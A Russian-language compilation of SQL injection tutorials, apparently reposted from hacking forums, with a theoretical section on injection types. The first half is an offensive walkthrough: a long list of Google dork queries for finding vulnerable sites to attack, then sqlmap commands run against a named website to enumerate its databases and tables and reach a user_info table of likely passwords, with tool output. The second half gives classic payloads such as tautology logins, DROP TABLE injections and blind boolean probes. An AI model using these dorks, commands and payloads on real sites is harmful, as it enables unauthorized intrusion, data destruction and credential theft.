- sqlmap также может использовать частичные (одиночные записи) уязвимости UNION query SQL инъекции, которые возникают, когда вывод предложения не циклируется в логической структуре for, тогда как отображается только первая запись вывода запроса.
- также известна как piggy backing: sqlmap проверяет, поддерживает ли веб-приложение многострочные запросы, а затем, если оно поддерживает, добавляет к пораженному параметру в HTTP-запросе, в котором используется точка с запятой ( ; ) с предложением SQL, которое должно быть выполнено.
- Этот метод полезен для запуска предложений SQL, помимо SELECT, как например, для определения данных или предложений манипулирования данными, что может привести к выполнению команд чтения и записи файловой системы и операционной системы в зависимости от лежащей в основе системы управления базами данных и правами доступа пользователя сеанса.
Обычно это самый сложный бит и занимает больше времени, чем любые другие шаги. Те, кто знает, как использовать Google Dorks, знают об этом уже, но в случае, если вы не сталкивались с этим ранее, я собрал несколько строк, которые вы можете забить в поиск в Google. Просто скопируйте любую из строк в Google, и Google покажет вам ряд результатов поиска.
Google dork:
Google dorks — их оставляют сотрудники, которые неосознанно предоставляют конфиденциальную корпоративную информацию в Интернете. Слово dork является сленгом для малозначительного или малоспособного человека.
Google dork ставит под угрозу корпоративную информацию, потому что они невольно создают бэкдоры, которые позволяют злоумышленнику войти в сеть без разрешения и/или получить доступ к несанкционированной информации. Чтобы найти конфиденциальную информацию, злоумышленники используют расширенные строки поиска, называемые запросами Google dork.
Строки Google Dorks для поиска уязвимого веб-сайта для SQLMAP SQL для инъекций:
Строка Google Dork колонка 1 Строка Google Dork колонка 1Код:
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:index.php?catid=
inurl:news.php?catid=
inurl:index.php?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=Код:
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:eek:pinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:eek:ffer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:eek:gl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:eek:pinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=Код:
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
about.php?cartID=
accinfo.php?cartId=
add-to-cart.php?ID=
addToCart.php?idProduct=
addtomylist.php?ProdId=Шаг 1: Первоначальная проверка для того, чтобы убедиться, что сайт уязвим для SQLMAP SQL инъекции
Для каждой строки указанной выше вы получите сотни результатов поиска, но как вы узнаете, какой из них действительно уязвим для SQLMAP SQL инъекции. Есть несколько способов, и я уверен, что люди будут спорить, какой из них лучше, но для меня следующее является самым простым и самым убедительным.
Предположим, вы искали эту строку inurl:item_id= и один из результатов поиска Google показывает такой веб-сайт:
Код:
http://www.gbhackers.com/products_showitem_clemco.php?item_id=28434Итак, теперь ваш URL-адрес будет выглядеть следующим образом:
Код:
http://www.gbhackers.com/products_showitem_clemco.php?item_id=28434'Смотрите пример ошибки ниже на скриншоте. Я скрыл все, включая URL и дизайн страниц по очевидным причинам.
Примеры ошибок SQLi из разных баз данных и языков
Microsoft SQL Сервер
Ошибка сервера в ‘/’ приложении. Незакрытая кавычка перед символьной строкой ‘attack;’.
Описание: Необработанное исключение возникло во время выполнения текущего веб-запроса. Просмотрите трассировку стека для получения дополнительной информации об ошибке, когда она возникла в коде.
Сведения об исключении: System.Data.SqlClient.SqlException: незакрытая кавычка перед символьной строкой ‘attack;’.
Ошибки MySQL
Предупреждение: mysql_fetch_array (): предоставленный аргумент не является допустимым MySQL результатом ресурса в /var/www/myawesomestore.com/buystuff.php в строке 12
Ошибка: У вас есть ошибка в синтаксисе SQL: проверьте руководство, соответствующее версии вашего сервера MySQL, для правильного синтаксиса, используемого рядом с ‘’’ в строке 12
Ошибки Oracle
java.sql.SQLException: ORA-00933: команда SQL не была закончена в oracle.jdbc.dbaaccess.DBError.throwSqlException (DBError.java:180) в oracle.jdbc.ttc7.TTIoer.processError (TTIoer.java:208)
Ошибка: SQLExceptionjava.sql.SQLException: ORA-01756: строка с кавычками не завершена
Ошибки PostgreSQL
Запрос не выполнен: ОШИБКА: незавершенная строка с кавычками в или рядом с “‘’’”
Шаг 2: Перечисление СУБД баз данных с использованием SQLMAP SQL инъекции:
Как вы можете видеть на скриншоте выше, я нашел веб-сайт уязвимый к SQLMAP SQL инъекции. Теперь мне нужно перечислить все базы данных в этой уязвимой базе данных. (это также называется перечислением числа столбцов). Ввиду того, что я использую SQLMAP, он также скажет мне, какая именно уязвима.
Запустите следующую команду на вашем уязвимом веб-сайте.
Код:
sqlmap -u http://www.gbhackers.com/products_showitem_clemco.php?item_id=28434 --dbssqlmap = Название sqlmap двоичного файла
-u = Целевой URL-адрес (e.g. “
Скрыто от гостей
)–dbs = Перечислить СУБД базы данных
Смотрите скриншот ниже.
Эти команды показывают немало интересной информации:
Код:
web application technology: Apache
back-end DBMS: MySQL 5.0
[10:55:53] [INFO] retrieved: information_schema
[10:55:56] [INFO] retrieved: gbhackers
[10:55:56] [INFO] fetched data logged to text files under
'/usr/share/sqlmap/output/www.gbhackers.com'Шаг 3: Список таблиц целевой базы данных с использованием SQLMAP SQL инъекции:
Теперь нам нужно знать, сколько таблиц получила база данных clemcoindustries и каковы их имена. Чтобы узнать эту информацию, используйте следующую команду:
Код:
sqlmap -u http://www.gbhackers.com/cgi-bin/item.cgi?item_id=15 -D
clemcoindustries --tablesКод:
[10:56:20] [INFO] fetching tables for database: 'gbhackers'
[10:56:22] [INFO] heuristics detected web page charset 'ISO-8859-2'
[10:56:22] [INFO] the SQL query used returns 8 entries
[10:56:25] [INFO] retrieved: item
[10:56:27] [INFO] retrieved: link
[10:56:30] [INFO] retrieved: other
[10:56:32] [INFO] retrieved: picture
[10:56:34] [INFO] retrieved: picture_tag
[10:56:37] [INFO] retrieved: popular_picture
[10:56:39] [INFO] retrieved: popular_tag
[10:56:42] [INFO] retrieved: user_infoи, конечно, мы хотим проверить, что внутри таблицы user_info, используя SQLMAP SQL инъекцию, поскольку эта таблица, вероятно, содержит имя пользователя и пароли.
Источник:
Скрыто от гостей
codeby.net
SQL инъекции – промежуточный уровень
Источник https://www.kalitutorials.net/2015/02/sql-injection-intermediate-level.html
Это теоретический пост, посвящённый разновидностям атак типа SQL инъекция и самой концепции этого понятия. У атакующего нет прямого способа писать полноценные запросы, поэтому он или она может лишь изменять URL или вводить данные в текстовые формы. Однако понимание MySQL (или любой другой СУБД) части атаки также необходимо. Оно пригодится, когда вы столкнётесь с мощными сайтами, против которых не сработают стандартные атаки, и вам придётся подойти к делу творчески. Прежде чем читать этот пост, возможно будет интересно ознакомиться со следующими тремя статьями:
А теперь перейдём к содержимому публикации:
Типы SQL инъекций
Техническая реализация
Неправильная фильтрация экранирующих символов
Эта форма SQL инъекции происходит, когда данные, введённые пользователем, не проверяются на наличие экранирующих символов и сразу передаются в SQL запрос. Результатом этого может стать манипуляция запросом к базе данных, выполняемая конечным пользователем приложения.
Следующая строка кода иллюстрирует данную уязвимость:
statement = "SELECT * FROM users WHERE name ='" + userName + "';"
Этот SQL код должен получить данные определённого пользователя, хранящиеся в таблице «users». Однако, если переменная «userName» изменена злоумышленником, SQL запрос может сделать гораздо больше, чем хотел автор кода. К примеру, можно указать значение переменной «userName»:
' or '1'='1
или использовать комментарии, чтобы заблокировать остальную часть запроса (существует 3 типа комментариев SQL). При этом в конце каждой строки должен стоять пробел:
' or '1'='1' --
' or '1'='1' ({
' or '1'='1' /*Тогда можно получить один из подобных SQL запросов:
SELECT * FROM users WHERE name = '' OR '1'='1'; SELECT * FROM users WHERE name = '' OR '1'='1' -- ';
Если такой код применить в процедуре аутентификации, он может использоваться для принудительного выбора правильного имени пользователя, поскольку выражение ‘1’=’1′ всегда является верным.
Значение переменной «userName» в примере ниже, использующем API, разрешающее выполнять множественные запросы, приведёт к удалению таблицы «users», а также выбору всех данных из таблицы «userinfo» (фактически, раскрывает личные данные всех пользователей):
a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't
Результатом будет финальный SQL запрос такого вида:
SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';
Хотя большинство SQL серверов позволяют выполнять сразу несколько запросов подобным образом, некоторые API, такие как функция mysql_query() в PHP, не разрешают этого делать из соображений безопасности. Таким образом, злоумышленник не сможет внедрять отдельные запросы, но их модификацию это не остановит.
Неправильное обращение с типами данных
Такая форма SQL инъекции происходит, когда предоставленные пользователям текстовые поля не являются типизированными или не проверяются на наличие специальных символов. Такая ситуация может сложиться, когда в SQL запросе используются данные из числового поля, но программист не проверяет, действительно ли эти данные являются числом. К примеру:
statement := "SELECT * FROM userinfo WHERE id =" + a_variable + ";"
Совершенно ясно, что автор этого запроса хотел, чтобы переменная «a_variable» была числовой и соответствовала полю «id». Однако если на её месте окажется строка, конечный пользователь сможет манипулировать запросом по своему желанию и ему даже не понадобятся экранирующие символы. Например, если значением переменной «a_variable» будет строка
1;DROP TABLE users
произойдёт удаление таблицы «users» из базы данных, ведь финальный SQL запрос будет выглядеть так:
SELECT * FROM userinfo WHERE id=1;DROP TABLE users;
Слепая SQL инъекция
Слепые SQL инъекции используются, когда веб-приложение уязвимо к SQL инъекциям, но злоумышленник не видит их результатов. Страница с такой уязвимостью может не отображать данные, но она будет изменяться в зависимости от результата логического утверждения, внедрённого в выполняемый на ней SQL запрос. На совершение подобной атаки может потребоваться немало времени, поскольку, всякий раз после получения новой информации запрос приходится переделывать. Существует несколько инструментов для автоматизации таких атак, но пользоваться ими можно только после выявления целевой информации и нахождения уязвимости.
Условные ответы
Одна из разновидностей слепой SQL инъекции заставляет базу данных оценивать логическое утверждение на обычном экране приложения. Допустим, сайт с обзорами книг использует запрос для определения того, какой именно обзор показывать на экране. Ссылка приведёт к выполнению на сервере запроса
SELECT * FROM bookreviews WHERE ID = 'Value(ID)';
После этого страница будет заполнена данными обзора с параметром «ID» равным 5 из таблицы «bookreviews». Этот запрос исполняется на сервере. Пользователю не известны не только имена базы данных, таблицы и полей, но и структура самого запроса. Он видит лишь, что переход по этому URL приводит к отображению обзора. Хакер может пройти по ссылкам OR 1=1 и AND 1=2, результатом чего могут стать следующие запросы:
SELECT * FROM bookreviews WHERE ID = '5' OR '1'='1'; SELECT * FROM bookreviews WHERE ID = '5' AND '1'='2';
Если изначальный запрос загружается по URL «1=1», а URL «1=2» возвращает пустую страницу или ошибку, а также же сайт не сообщает пользователю о неверном вводе параметра, тогда этот ресурс, скорее всего, уязвим к SQL инъекциям, поскольку в обоих случаях запрос был успешно выполнен. Далее хакер способен выяснить версию MySQL, запущенную на сервере, использовав ссылку
AND substring(@@version,1,1)=4
, которая покажет обзор книги на сервере с MySQL 4. Иначе результатом будет пустая страница или ошибка. Хакер может продолжить внедрять код в URL, получая всё больше и больше информации о сервере, пока не достигнет своей цели или не найдёт другой путь для атаки.
SQL инъекция второго порядка
SQL инъекции второго порядка происходят, когда значения с вредоносными командами не исполняются мгновенно, но сохраняются. В некоторых случаях приложение может корректно закодировать SQL запрос и сохранить его в базе данных. Затем другая часть приложения, не защищённая от SQL инъекций, может выполнить хранимый запрос. Такая атака требует подробных знаний о том, как впоследствии используются введённые данные. Автоматическим сканерам безопасности веб-приложений будет очень сложно выявить такой тип SQL инъекции. Возможно, им придётся вручную дать инструкции о том, где искать признаки совершения подобной атаки.
codeby.net